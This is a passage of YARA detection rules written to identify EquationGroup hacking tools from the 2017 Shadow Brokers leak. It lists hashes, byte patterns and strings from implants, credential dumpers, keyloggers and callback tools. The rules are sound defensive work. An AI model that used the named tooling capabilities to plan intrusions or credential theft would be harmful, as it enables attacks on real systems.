		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "c8b354793ad5a16744cf1d4efdc5fe48d5a0cf0657974eb7145e0088fcf609ff"
		hash2 = "5f06ec411f127f23add9f897dc165eaa68cbe8bb99da8f00a4a360f108bb8741"
		id = "b3fda153-563c-5a5c-9f5c-12d6ef8b3d95"

	strings:
		$s1 = "\\system32\\win32k.sys" wide
		$s2 = "hKeAddSystemServiceTable" fullword ascii
		$s3 = "hPsDereferencePrimaryToken" fullword ascii
		$s4 = "CcnFormSyncExFBC" fullword wide
		$s5 = "hPsDereferencePrimaryToken" fullword ascii
		$op1 = { 0c 2b ca 8a 04 11 3a 02 75 01 47 42 4e 75 f4 8b }
		$op2 = { 14 83 c1 05 80 39 85 75 0c 80 79 01 c0 75 06 80 }
		$op3 = { eb 3d 83 c0 06 33 f6 80 38 ff 75 2c 80 78 01 15 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and ( 4 of ( $s* ) or all of ( $op* ) ) )
}

rule EquationGroup_Toolset_Apr17_SendPKTrigger
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "2f9c7a857948795873a61f4d4f08e1bd0a41e3d6ffde212db389365488fa6e26"
		id = "6cbf95eb-323c-53a3-9aca-222626add4dc"

	strings:
		$x1 = "----====**** PORT KNOCK TRIGGER BEGIN ****====----" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_Toolset_Apr17_DmGz_Target_2
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "55ac29b9a67e0324044dafaba27a7f01ca3d8e4d8e020259025195abe42aa904"
		id = "426e982c-2380-5801-ba80-ab25ec4c0f74"

	strings:
		$s1 = "\\\\.\\%ls" fullword ascii
		$op0 = { e8 ce 34 00 00 b8 02 00 00 f0 e9 26 02 00 00 48 }
		$op1 = { 8b 4d 28 e8 02 05 00 00 89 45 34 eb 07 c7 45 34 }
		$op2 = { e8 c2 34 00 00 90 48 8d 8c 24 00 01 00 00 e8 a4 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them )
}

rule EquationGroup_Toolset_Apr17_mstcp32_DXGHLP16_tdip
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		modified = "2023-01-06"
		hash1 = "26215bc56dc31d2466d72f1f4e1b6388e62606e9949bc41c28968fcb9a9d60a6"
		hash2 = "fcfb56fa79d2383d34c471ef439314edc2239d632a880aa2de3cea430f6b5665"
		hash3 = "a5ec4d102d802ada7c5083af53fd9d3c9b5aa83be9de58dbb4fac7876faf6d29"
		id = "5b54e68b-7bf3-59a0-8257-c370a3b9e4db"

	strings:
		$s1 = "\\Registry\\User\\CurrentUser\\" wide
		$s2 = "\\DosDevices\\%ws" wide
		$s3 = "\\Device\\%ws_%ws" wide
		$s4 = "sys\\mstcp32.dbg" fullword ascii
		$s5 = "%ws%03d%ws%wZ" fullword wide
		$s6 = "TCP/IP driver" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 4 of them )
}

rule EquationGroup_Toolset_Apr17_regprobe
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "99a42440d4cf1186aad1fd09072bd1265e7c6ebbc8bcafc28340b4fe371767de"
		id = "184618b7-a24c-5a8c-9fb2-a5a07f1a0299"

	strings:
		$x1 = "Usage: %s targetIP protocolSequence portNo [redirectorIP] [CLSID]" fullword ascii
		$x2 = "key does not exist or pinging w2k system" fullword ascii
		$x3 = "RpcProxy=255.255.255.255:65536" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_DoubleFeatureDll_dll_2
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "f265defd87094c95c7d3ddf009d115207cd9d4007cf98629e814eda8798906af"
		hash2 = "8d62ca9e6d89f2b835d07deb5e684a576607e4fe3740f77c0570d7b16ebc2985"
		hash3 = "634a80e37e4b32706ad1ea4a2ff414473618a8c42a369880db7cc127c0eb705e"
		id = "f77fd49f-815b-5fb9-a3d7-8721edf79b28"

	strings:
		$s1 = ".dllfD" fullword ascii
		$s2 = "Khsppxu" fullword ascii
		$s3 = "D$8.exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and 2 of them )
}

rule EquationGroup_Toolset_Apr17_GangsterThief_Implant
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "50b269bda5fedcf5a62ee0514c4b14d48d53dd18ac3075dcc80b52d0c2783e06"
		id = "9127f280-135e-5f83-9587-eab3ad84ad69"

	strings:
		$s1 = "\\\\.\\%s:" fullword wide
		$s4 = "raw_open CreateFile error" fullword ascii
		$s5 = "-PATHDELETED-" ascii
		$s6 = "(deleted)" fullword wide
		$s8 = "NULLFILENAME" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 3 of them )
}

rule EquationGroup_Toolset_Apr17_SetCallbackPorts
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "16f66c2593665c2507a78f96c0c2a9583eab0bda13a639e28f550c92f9134ff0"
		id = "3c06fc74-2e75-5348-bb62-30c724de1414"

	strings:
		$s1 = "USAGE: %s <input file> <output file> <port1> [port2] [port3] [port4] [port5] [port6]" fullword ascii
		$s2 = "You may enter between 1 and 6 ports to change the defaults." fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_DiBa_Target_BH_2000
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "0654b4b8727488769390cd091029f08245d690dd90d1120e8feec336d1f9e788"
		id = "b02fa407-e6f1-5c2d-a587-7edb55dbe0a5"

	strings:
		$s2 = "0M1U1Z1p1" fullword ascii
		$s14 = "SPRQWV" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule EquationGroup_Toolset_Apr17_rc5
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "69e2c68c6ea7be338497863c0c5ab5c77d5f522f0a84ab20fe9c75c7f81318eb"
		id = "854c1726-4ba4-5464-a765-4dd154a1b166"

	strings:
		$s1 = "Usage: %s [d|e] session_key ciphertext" fullword ascii
		$s2 = "where session_key and ciphertext are strings of hex" fullword ascii
		$s3 = "d = decrypt mode, e = encrypt mode" fullword ascii
		$s4 = "Bad mode, should be 'd' or 'e'" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them )
}

rule EquationGroup_Toolset_Apr17_PC_Level_Generic
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "7a6488dd13936e505ec738dcc84b9fec57a5e46aab8aff59b8cfad8f599ea86a"
		hash2 = "0e3cfd48732d0b301925ea3ec6186b62724ec755ed40ed79e7cd6d3df511b8a0"
		hash3 = "d1d6e3903b6b92cc52031c963e2031b5956cadc29cc8b3f2c8f38be20f98a4a7"
		hash4 = "25a2549031cb97b8a3b569b1263c903c6c0247f7fff866e7ec63f0add1b4921c"
		hash5 = "591abd3d7ee214df25ac25682b673f02219da108d1384261052b5167a36a7645"
		hash6 = "6b71db2d2721ac210977a4c6c8cf7f75a8f5b80b9dbcece1bede1aec179ed213"
		hash7 = "7be4c05cecb920f1010fc13086635591ad0d5b3a3a1f2f4b4a9be466a1bd2b76"
		hash8 = "f9cbccdbdf9ffd2ebf1ee84d0ddddd24a61dbe0858ab7f0131bef6c7b9a19131"
		hash9 = "3cf7a01bdf8e73769c80b75ca269b506c33464d81f574ded8bb20caec2d4cd13"
		hash10 = "a87a871fe32c49862ed68fda99d92efd762a33ababcd9b6b2b909f2e01f59c16"
		id = "7ff3d0b0-7a70-561e-9c45-d1f9dbccefe9"

	strings:
		$s1 = "wshtcpip.WSHGetSocketInformation" fullword ascii
		$s2 = "\\\\.\\%hs" fullword ascii
		$s3 = ".?AVResultIp@Mini_Mcl_Cmd_NetConnections@@" fullword ascii
		$s4 = "Corporation. All rights reserved." fullword wide
		$s5 = { 49 83 3c 24 00 75 02 eb 5d 49 8b 34 24 0f b7 46 }
		$op1 = { 44 24 57 6f c6 44 24 58 6e c6 44 24 59 }
		$op2 = { c6 44 24 56 64 88 5c 24 57 }
		$op3 = { 44 24 6d 4c c6 44 24 6e 6f c6 44 24 6f }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 2 of ( $s* ) or all of ( $op* ) )
}

rule EquationGroup_Toolset_Apr17_PC_Level3_http_exe
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "3e855fbea28e012cd19b31f9d76a73a2df0eb03ba1cb5d22aafe9865150b020c"
		id = "9bb4224e-f900-5f5c-8091-088a4b791ada"

	strings:
		$s1 = "Copyright (C) Microsoft" fullword wide
		$op1 = { 24 39 65 c6 44 24 3a 6c c6 44 24 3b 65 c6 44 24 }
		$op2 = { 44 24 4e 41 88 5c 24 4f ff }
		$op3 = { 44 24 3f 6e c6 44 24 40 45 c6 44 24 41 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them )
}

rule EquationGroup_Toolset_Apr17_ParseCapture
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "c732d790088a4db148d3291a92de5a449e409704b12e00c7508d75ccd90a03f2"
		id = "11743260-c5ce-59de-9fcf-0c050eee98ff"

	strings:
		$x1 = "* Encrypted log found.  An encryption key must be provided" fullword ascii
		$x2 = "encryptionkey = e.g., \"00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff\"" fullword ascii
		$x3 = "Decrypting with key '%02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x'" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 50KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_ActiveDirectory_Target
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "33c1b7fdee7c70604be1e7baa9eea231164e62d5d5090ce7f807f43229fe5c36"
		id = "1069cabe-7c09-522f-ad3f-05651490b921"

	strings:
		$s1 = "(&(objectCategory=person)(objectClass=user)(cn=" fullword wide
		$s2 = "(&(objectClass=user)(objectCategory=person)" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule EquationGroup_Toolset_Apr17_PC_Legacy_dll : HIGHVOL
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "0cbc5cc2e24f25cb645fb57d6088bcfb893f9eb9f27f8851503a1b33378ff22d"
		id = "254ff1f7-52ee-57fa-be02-2904e132e25c"

	strings:
		$op1 = { 45 f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 }
		$op2 = { 49 c6 45 e1 73 c6 45 e2 57 c6 45 e3 }
		$op3 = { 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 6f c6 45 ea }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule EquationGroup_Toolset_Apr17_svctouch
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "96b6a3c4f53f9e7047aa99fd949154745e05dc2fd2eb21ef6f0f9b95234d516b"
		id = "a1246afa-32ba-5730-91a2-b1116160d662"

	strings:
		$s1 = "Causes: Firewall,Machine down,DCOM disabled\\not supported,etc." fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 10KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_pwd_Implant
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "ee72ac76d82dfec51c8fbcfb5fc99a0a45849a4565177e01d8d23a358e52c542"
		id = "69d071f0-7214-5972-805a-3c0c1d2346c2"

	strings:
		$s1 = "7\"7(7/7>7O7]7o7w7" fullword ascii
		$op1 = { 40 50 89 44 24 18 FF 15 34 20 00 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 20KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_KisuComms_Target_2000
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "94eea1bad534a1dc20620919de8046c9966be3dd353a50f25b719c3662f22135"
		id = "693a82e5-a3f1-5a56-b33d-0daef36bbe5f"

	strings:
		$s1 = "363<3S3c3l3q3v3{3" fullword ascii
		$s2 = "3!3%3)3-3135393@5" fullword ascii
		$op0 = { eb 03 89 46 54 47 83 ff 1a 0f 8c 40 ff ff ff 8b }
		$op1 = { 8b 46 04 85 c0 74 0f 50 e8 34 fb ff ff 83 66 04 }
		$op2 = { c6 45 fc 02 8d 8d 44 ff ff ff e8 d2 2f 00 00 eb }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( all of ( $s* ) or all of ( $op* ) ) )
}

rule EquationGroup_Toolset_Apr17_SlDecoder
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "b220f51ca56d9f9d7d899fa240d3328535f48184d136013fd808d8835919f9ce"
		id = "1760e84b-fc40-5d60-9351-3a3134af9e9f"

	strings:
		$x1 = "Error in conversion. SlDecoder.exe <input filename> <output filename> at command line " fullword wide
		$x2 = "KeyLogger_Data" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Windows_Implant
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "d38ce396926e45781daecd18670316defe3caf975a3062470a87c1d181a61374"
		id = "a82aac49-8843-5420-8b87-f3d7431bc63f"

	strings:
		$s2 = "0#0)0/050;0M0Y0h0|0" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 50KB and all of them )
}

rule EquationGroup_Toolset_Apr17_msgkd_msslu64_msgki_mssld
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "9ab667b7b5b9adf4ff1d6db6f804824a22c7cc003eb4208d5b2f12809f5e69d0"
		hash2 = "320144a7842500a5b69ec16f81a9d1d4c8172bb92301afd07fb79bc0eca81557"
		hash3 = "c10f4b9abee0fde50fe7c21b9948a2532744a53bb4c578630a81d2911f6105a3"
		hash4 = "551174b9791fc5c1c6e379dac6110d0aba7277b450c2563e34581565609bc88e"
		hash5 = "8419866c9058d738ebc1a18567fef52a3f12c47270f2e003b3e1242d86d62a46"
		id = "cb6d4098-8ede-58ba-9851-7c8b360fb606"

	strings:
		$s1 = "PQRAPAQSTUVWARASATAUAVAW" fullword ascii
		$s2 = "SQRUWVAWAVAUATASARAQAP" fullword ascii
		$s3 = "iijymqp" fullword ascii
		$s4 = "AWAVAUATASARAQI" fullword ascii
		$s5 = "WARASATAUAVM" fullword ascii
		$op1 = { 0c 80 30 02 48 83 c2 01 49 83 e9 01 75 e1 c3 cc }
		$op2 = { e8 10 66 0d 00 80 66 31 02 48 83 c2 02 49 83 e9 }
		$op3 = { 48 b8 53 a5 e1 41 d4 f1 07 00 48 33 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and 2 of ( $s* ) or all of ( $op* ) )
}

rule EquationGroup_Toolset_Apr17_SetCallback
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "a8854f6b01d0e49beeb2d09e9781a6837a0d18129380c6e1b1629bc7c13fdea2"
		id = "3c06fc74-2e75-5348-bb62-30c724de1414"

	strings:
		$s2 = "*NOTE: This version of SetCallback does not work with PeddleCheap versions prior" fullword ascii
		$s3 = "USAGE: SetCallback <input file> <output file>" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them )
}

rule EquationGroup_Toolset_Apr17__DoubleFeatureReader_DoubleFeatureReader_0
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "052e778c26120c683ee2d9f93677d9217e9d6c61ffc0ab19202314ab865e3927"
		hash2 = "5db457e7c7dba80383b1df0c86e94dc6859d45e1d188c576f2ba5edee139d9ae"
		id = "f662c961-80be-5453-86b1-c4d40ac5b732"

	strings:
		$x1 = "DFReader.exe logfile AESKey [-j] [-o outputfilename]" fullword ascii
		$x2 = "Double Feature Target Version" fullword ascii
		$x3 = "DoubleFeature Process ID" fullword ascii
		$op1 = { a1 30 21 41 00 89 85 d8 fc ff ff a1 34 21 41 00 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them ) or ( 2 of them )
}

rule EquationGroup_Toolset_Apr17__vtuner_vtuner_1
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "3e6bec0679c1d8800b181f3228669704adb2e9cbf24679f4a1958e4cdd0e1431"
		hash2 = "b0d2ebf455092f9d1f8e2997237b292856e9abbccfbbebe5d06b382257942e0e"
		id = "3794f30b-39dc-59eb-9fd3-4c7837bfd47d"

	strings:
		$s1 = "Unable to get -w hash.  %x" fullword wide
		$s2 = "!\"invalid instruction mnemonic constant Id3vil\"" fullword wide
		$s4 = "Unable to set -w provider. %x" fullword wide
		$op0 = { 2b c7 50 e8 3a 8c ff ff ff b6 c0 }
		$op2 = { a1 8c 62 47 00 81 65 e0 ff ff ff 7f 03 d8 8b c1 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 2 of them )
}

rule EquationGroup_Toolset_Apr17__ecwi_ESKE_EVFR_RPC2_2
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "c4152f65e45ff327dade50f1ac3d3b876572a66c1ce03014f2877cea715d9afd"
		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
		hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
		hash4 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
		id = "6c653b0a-fda4-51d6-bf90-bd637547fe47"

	strings:
		$s1 = "Target is share name" fullword ascii
		$s2 = "Could not make UdpNetbios header -- bailing" fullword ascii
		$s3 = "Request non-NT session key" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule EquationGroup_Toolset_Apr17__EAFU_ecwi_ESKE_EVFR_RPC2_4
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "3e181ca31f1f75a6244b8e72afaa630171f182fbe907df4f8b656cc4a31602f6"
		hash2 = "c4152f65e45ff327dade50f1ac3d3b876572a66c1ce03014f2877cea715d9afd"
		hash3 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
		hash4 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
		hash5 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
		id = "9dc9ed95-5233-56e1-b8f1-4f27f43e7e43"

	strings:
		$x1 = "* Listening Post DLL %s() returned error code %d." fullword ascii
		$s1 = "WsaErrorTooManyProcesses" fullword ascii
		$s2 = "NtErrorMoreProcessingRequired" fullword ascii
		$s3 = "Connection closed by remote host (TCP Ack/Fin)" fullword ascii
		$s4 = "ServerErrorBadNamePassword" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of ( $s* ) or 1 of ( $x* ) )
}

rule EquationGroup_Toolset_Apr17__SendCFTrigger_SendPKTrigger_6
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "3bee31b9edca8aa010a4684c2806b0ca988b2bcc14ad0964fec4f11f3f6fb748"
		hash2 = "2f9c7a857948795873a61f4d4f08e1bd0a41e3d6ffde212db389365488fa6e26"
		id = "658d6f7d-2164-5e43-b5a5-d9bea9cd2e27"

	strings:
		$s4 = "* Failed to connect to destination - %u" fullword wide
		$s6 = "* Failed to convert destination address into sockaddr_storage values" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17__AddResource
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "e83e4648875d4c4aa8bc6f3c150c12bad45d066e2116087cdf78a4a4efbab6f0"
		hash2 = "5a04d65a61ef04f5a1cbc29398c767eada367459dc09c54c3f4e35015c71ccff"
		id = "cbba38fa-a906-5463-ae46-2b9c9f1bf8e0"

	strings:
		$s1 = "%s cm 10 2000 \"c:\\MY DIR\\myapp.exe\" c:\\MyResourceData.dat" fullword ascii
		$s2 = "<PE path> - the path to the PE binary to which to add the resource." fullword ascii
		$s3 = "Unable to get path for target binary." fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 2 of them )
}

rule EquationGroup_Toolset_Apr17__ESKE_RPC2_8
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
		hash2 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
		id = "694a1afc-7fea-58ac-b736-44957bbc0334"

	strings:
		$s4 = "Fragment: Packet too small to contain RPC header" fullword ascii
		$s5 = "Fragment pickup: SmbNtReadX failed" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 700KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17__LSADUMP_Lp_ModifyPrivilege_Lp_PacketScan_Lp_put_Lp_RemoteExecute_Lp_Windows_Lp_wmi_Lp_9
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "c7bf4c012293e7de56d86f4f5b4eeb6c1c5263568cc4d9863a286a86b5daf194"
		hash2 = "d92928a867a685274b0a74ec55c0b83690fca989699310179e184e2787d47f48"
		hash3 = "2d963529e6db733c5b74db1894d75493507e6e40da0de2f33e301959b50f3d32"
		hash4 = "e9f6a84899c9a042edbbff391ca076169da1a6f6dfb61b927942fe4be3327749"
		hash5 = "d989d610b032c72252a2df284d0b53f63f382e305de2a18b453a0510ab6246a3"
		hash6 = "23d98bca1f6e2f6989d53c2f2adff996ede2c961ea189744f8ae65621003b8b1"
		hash7 = "d7ae24816fda190feda6a60639cf3716ea00fb63a4bd1069b8ce52d10ad8bc7f"
		id = "0bf57f93-0a03-5241-94b8-1cd69f22b055"

	strings:
		$x1 = "Injection Lib -  " wide
		$x2 = "LSADUMP - - ERROR" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17__ETBL_ETRE_10
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
